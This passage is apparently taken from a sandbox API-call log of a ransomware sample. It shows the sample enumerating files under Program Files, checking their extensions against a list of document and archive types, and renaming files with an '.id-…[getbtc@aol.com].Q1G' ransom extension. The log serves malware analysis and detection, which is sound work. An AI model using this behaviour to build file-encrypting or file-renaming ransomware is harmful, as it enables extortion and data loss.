dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x278 [0236.149] GetFileSizeEx (in: hFile=0x278, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=31744) returned 1 [0236.149] CloseHandle (hObject=0x278) returned 1 [0236.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0236.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0236.149] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0236.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0236.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0236.149] lstrlenW (lpString=".doc") returned 4 [0236.149] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0236.149] lstrlenW (lpString=".docx") returned 5 [0236.149] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0236.149] lstrlenW (lpString=".pdf") returned 4 [0236.149] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0236.149] lstrlenW (lpString=".xls") returned 4 [0236.149] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0236.149] lstrlenW (lpString=".xlsx") returned 5 [0236.149] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0236.149] lstrlenW (lpString=".ppt") returned 4 [0236.149] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0236.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0236.149] lstrlenW (lpString=".zip") returned 4 [0236.149] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0236.150] lstrlenW (lpString=".rar") returned 4 [0236.150] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0236.150] lstrlenW (lpString=".bz2") returned 4 [0236.150] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0236.150] lstrlenW (lpString=".7z") returned 3 [0236.150] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0236.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0236.150] lstrlenW (lpString=".dbf") returned 4 [0236.150] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0236.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0236.150] lstrlenW (lpString=".1cd") returned 4 [0236.150] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0236.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0236.150] lstrlenW (lpString=".jpg") returned 4 [0236.150] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0236.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0236.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0236.150] lstrlenW (lpString=".doc") returned 4 [0236.150] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0236.150] lstrlenW (lpString=".docx") returned 5 [0236.150] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0236.150] lstrlenW (lpString=".pdf") returned 4 [0236.150] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0236.150] lstrlenW (lpString=".xls") returned 4 [0236.150] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0236.150] lstrlenW (lpString=".xlsx") returned 5 [0236.150] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0236.150] lstrlenW (lpString=".ppt") returned 4 [0236.150] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0236.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0236.150] lstrlenW (lpString=".zip") returned 4 [0236.150] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0236.150] lstrlenW (lpString=".rar") returned 4 [0236.150] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0236.150] lstrlenW (lpString=".bz2") returned 4 [0236.150] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0236.150] lstrlenW (lpString=".7z") returned 3 [0236.150] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0236.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0236.151] lstrlenW (lpString=".dbf") returned 4 [0236.151] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0236.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0236.151] lstrlenW (lpString=".1cd") returned 4 [0236.151] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0236.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0236.151] lstrlenW (lpString=".jpg") returned 4 [0236.151] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0236.151] lstrcmpiW (lpString1=".avi", lpString2=".Q1G") returned -1 [0236.151] lstrlenW (lpString="boxed-join.avi") returned 14 [0236.151] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x278 [0236.152] GetFileSizeEx (in: hFile=0x278, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=33280) returned 1 [0236.152] CloseHandle (hObject=0x278) returned 1 [0236.152] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0236.152] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0236.152] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0236.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0236.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0236.152] lstrlenW (lpString=".doc") returned 4 [0236.152] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0236.152] lstrlenW (lpString=".docx") returned 5 [0236.152] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0236.152] lstrlenW (lpString=".pdf") returned 4 [0236.152] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0236.152] lstrlenW (lpString=".xls") returned 4 [0236.152] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0236.152] lstrlenW (lpString=".xlsx") returned 5 [0236.152] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0236.152] lstrlenW (lpString=".ppt") returned 4 [0236.152] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0236.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0236.152] lstrlenW (lpString=".zip") returned 4 [0236.152] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0236.152] lstrlenW (lpString=".rar") returned 4 [0236.152] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0236.152] lstrlenW (lpString=".bz2") returned 4 [0236.153] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0236.153] lstrlenW (lpString=".7z") returned 3 [0236.153] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0236.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0236.153] lstrlenW (lpString=".dbf") returned 4 [0236.153] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0236.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0236.153] lstrlenW (lpString=".1cd") returned 4 [0236.153] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0236.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0236.153] lstrlenW (lpString=".jpg") returned 4 [0236.153] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0236.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0236.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0236.153] lstrlenW (lpString=".doc") returned 4 [0236.153] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0236.153] lstrlenW (lpString=".docx") returned 5 [0236.153] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0236.153] lstrlenW (lpString=".pdf") returned 4 [0236.153] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0236.153] lstrlenW (lpString=".xls") returned 4 [0236.153] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0236.153] lstrlenW (lpString=".xlsx") returned 5 [0236.153] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0236.153] lstrlenW (lpString=".ppt") returned 4 [0236.153] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0236.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0236.153] lstrlenW (lpString=".zip") returned 4 [0236.153] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0236.153] lstrlenW (lpString=".rar") returned 4 [0236.153] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0236.153] lstrlenW (lpString=".bz2") returned 4 [0236.153] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0236.153] lstrlenW (lpString=".7z") returned 3 [0236.153] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0236.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0236.153] lstrlenW (lpString=".dbf") returned 4 [0236.154] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0236.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0236.154] lstrlenW (lpString=".1cd") returned 4 [0236.154] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0236.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0236.154] lstrlenW (lpString=".jpg") returned 4 [0236.154] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0236.154] lstrcmpiW (lpString1=".avi", lpString2=".Q1G") returned -1 [0236.154] lstrlenW (lpString="boxed-split.avi") returned 15 [0236.154] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x278 [0236.154] GetFileSizeEx (in: hFile=0x278, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=62976) returned 1 [0236.154] CloseHandle (hObject=0x278) returned 1 [0236.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0236.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0236.154] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0236.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0236.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0236.154] lstrlenW (lpString=".doc") returned 4 [0236.154] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0236.155] lstrlenW (lpString=".docx") returned 5 [0236.155] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0236.155] lstrlenW (lpString=".pdf") returned 4 [0236.155] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0236.155] lstrlenW (lpString=".xls") returned 4 [0236.155] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0236.155] lstrlenW (lpString=".xlsx") returned 5 [0236.155] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0236.155] lstrlenW (lpString=".ppt") returned 4 [0236.155] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0236.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0236.155] lstrlenW (lpString=".zip") returned 4 [0236.155] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0236.155] lstrlenW (lpString=".rar") returned 4 [0236.155] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0236.155] lstrlenW (lpString=".bz2") returned 4 [0236.155] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0236.155] lstrlenW (lpString=".7z") returned 3 [0236.155] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0236.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0236.155] lstrlenW (lpString=".dbf") returned 4 [0236.155] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0236.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0236.155] lstrlenW (lpString=".1cd") returned 4 [0236.155] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0236.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0236.156] lstrlenW (lpString=".jpg") returned 4 [0236.156] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0236.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0236.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0236.156] lstrlenW (lpString=".doc") returned 4 [0236.156] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0236.156] lstrlenW (lpString=".docx") returned 5 [0236.156] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0236.156] lstrlenW (lpString=".pdf") returned 4 [0236.156] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0236.156] lstrlenW (lpString=".xls") returned 4 [0236.156] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0236.156] lstrlenW (lpString=".xlsx") returned 5 [0236.156] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0236.156] lstrlenW (lpString=".ppt") returned 4 [0236.156] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0236.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0236.156] lstrlenW (lpString=".zip") returned 4 [0236.156] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0236.156] lstrlenW (lpString=".rar") returned 4 [0236.156] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0236.156] lstrlenW (lpString=".bz2") returned 4 [0236.156] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0236.156] lstrlenW (lpString=".7z") returned 3 [0236.156] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0236.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0236.156] lstrlenW (lpString=".dbf") returned 4 [0236.156] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0236.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0236.156] lstrlenW (lpString=".1cd") returned 4 [0236.156] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0236.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0236.156] lstrlenW (lpString=".jpg") returned 4 [0236.156] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0236.157] lstrcmpiW (lpString1=".avi", lpString2=".Q1G") returned -1 [0236.157] lstrlenW (lpString="correct.avi") returned 11 [0236.157] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x278 [0236.157] GetFileSizeEx (in: hFile=0x278, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=197120) returned 1 [0236.157] CloseHandle (hObject=0x278) returned 1 [0236.157] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0236.157] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0236.157] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0236.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0236.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0236.157] lstrlenW (lpString=".doc") returned 4 [0236.157] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0236.157] lstrlenW (lpString=".docx") returned 5 [0236.157] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0236.157] lstrlenW (lpString=".pdf") returned 4 [0236.157] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0236.157] lstrlenW (lpString=".xls") returned 4 [0236.157] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0236.157] lstrlenW (lpString=".xlsx") returned 5 [0236.157] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0236.158] lstrlenW (lpString=".ppt") returned 4 [0236.158] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0236.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0236.158] lstrlenW (lpString=".zip") returned 4 [0236.158] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0236.158] lstrlenW (lpString=".rar") returned 4 [0236.158] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0236.158] lstrlenW (lpString=".bz2") returned 4 [0236.158] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0236.158] lstrlenW (lpString=".7z") returned 3 [0236.158] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0236.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0236.158] lstrlenW (lpString=".dbf") returned 4 [0236.158] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0236.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0236.158] lstrlenW (lpString=".1cd") returned 4 [0236.158] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0236.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0236.158] lstrlenW (lpString=".jpg") returned 4 [0236.158] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0236.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0236.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0236.158] lstrlenW (lpString=".doc") returned 4 [0236.158] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0236.158] lstrlenW (lpString=".docx") returned 5 [0236.158] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0236.158] lstrlenW (lpString=".pdf") returned 4 [0236.158] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0236.158] lstrlenW (lpString=".xls") returned 4 [0236.158] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0236.158] lstrlenW (lpString=".xlsx") returned 5 [0236.158] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0236.158] lstrlenW (lpString=".ppt") returned 4 [0236.158] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0236.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0236.158] lstrlenW (lpString=".zip") returned 4 [0236.158] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0236.158] lstrlenW (lpString=".rar") returned 4 [0236.159] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0236.159] lstrlenW (lpString=".bz2") returned 4 [0236.159] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0236.159] lstrlenW (lpString=".7z") returned 3 [0236.159] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0236.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0236.159] lstrlenW (lpString=".dbf") returned 4 [0236.159] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0236.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0236.159] lstrlenW (lpString=".1cd") returned 4 [0236.159] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0236.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0236.159] lstrlenW (lpString=".jpg") returned 4 [0236.159] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0236.159] lstrcmpiW (lpString1=".avi", lpString2=".Q1G") returned -1 [0236.159] lstrlenW (lpString="delete.avi") returned 10 [0236.159] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x278 [0236.160] GetFileSizeEx (in: hFile=0x278, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=224256) returned 1 [0236.160] CloseHandle (hObject=0x278) returned 1 [0236.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20 [0236.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0236.160] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0236.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0236.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0236.160] lstrlenW (lpString=".doc") returned 4 [0236.160] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0236.160] lstrlenW (lpString=".docx") returned 5 [0236.160] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0236.160] lstrlenW (lpString=".pdf") returned 4 [0236.160] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0236.160] lstrlenW (lpString=".xls") returned 4 [0236.160] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0236.160] lstrlenW (lpString=".xlsx") returned 5 [0236.160] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0236.160] lstrlenW (lpString=".ppt") returned 4 [0236.161] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0236.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0236.161] lstrlenW (lpString=".zip") returned 4 [0236.161] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0236.161] lstrlenW (lpString=".rar") returned 4 [0236.161] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0236.161] lstrlenW (lpString=".bz2") returned 4 [0236.161] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0236.161] lstrlenW (lpString=".7z") returned 3 [0236.161] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0236.161] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 